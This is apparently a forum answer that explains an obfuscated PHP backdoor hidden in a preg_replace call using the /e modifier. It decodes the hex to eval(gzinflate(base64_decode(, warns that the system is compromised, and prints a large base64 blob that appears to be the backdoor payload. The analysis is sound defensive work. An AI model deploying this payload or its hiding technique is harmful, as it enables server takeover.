How Does This Giant Regex Work

How does this giant regex work?

This is not entirely a regular expression. The regex is /.*/, which basically means "match everything". The /e Modifier however eval()'s the code in the next parameter. In fact this is a way for someone to hide code. The following proof that this is a backdoor, and you must remove it immediately. Your system maybe compromised further.

This is what the backdoor looks like when it is accessed:

Server security information

the hex part of the code:

\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28

is acutally:
eval(gzinflate(base64_decode(

This is the code will print out the source code for this backdoor. However i would not execute the resulting PHP code, unless it is on a disposable virtual machine.

<?php
print gzinflate(base64_decode("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